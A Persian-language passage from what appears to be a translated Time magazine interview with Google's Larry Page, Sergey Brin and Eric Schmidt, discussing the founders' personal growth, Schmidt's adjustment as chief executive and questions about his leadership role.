پيج : هيچ نكته نگران كننده اي وجود نداشت، تا اينكه تايم تصميم گرفت گوگل را به روي جلد مجله ببرد. البته اين فقط يك شوخي بود، اما حقيقتا من در حال حاضر مي توانم با هر كس كه بخواهم ملاقات كنم و با او حرف بزنم.
برين : لري در طي اين سال ها خيلي شخصيت راحت تري پيدا كرده است.
پيج : سرجي هم اعتماد به نفسش خيلي بالا رفته است.

تايم : ورود اشميت به عنوان مدير چه تاثيري بر مجموعه شما داشت ؟
پيج : موجب تغييراتي در نوع يادگيري ما شد.
اشميت : من زمان ورودم دقيقا شش ماه طول كشيد تا كاملا از نحوه كار و جريانات حاكم بر گوگل سر در بياورم. آشنا شدن با ظرايف كار هم يكسالي زمان برد. اكنون فكر مي كنم همراه با لري و سرجي مي بايست تغييراتي در روش مديريت ايجاد كنيم.

تايم : برخي ها هنوز فكر مي كنند اشميت نقش اصلي را در زمينه مديريت گوگل بر عهده ندارد؟
اشميت : از زمان پيوستن من به گوگل اين حرف ها وجود داشته است. پاسخ من اين است كه نتايج و پيشرفت هاي اخير گوگل بهترين جواب به آنها است.
پيج : اين دقيقا بهترين پاسخ ممكن است.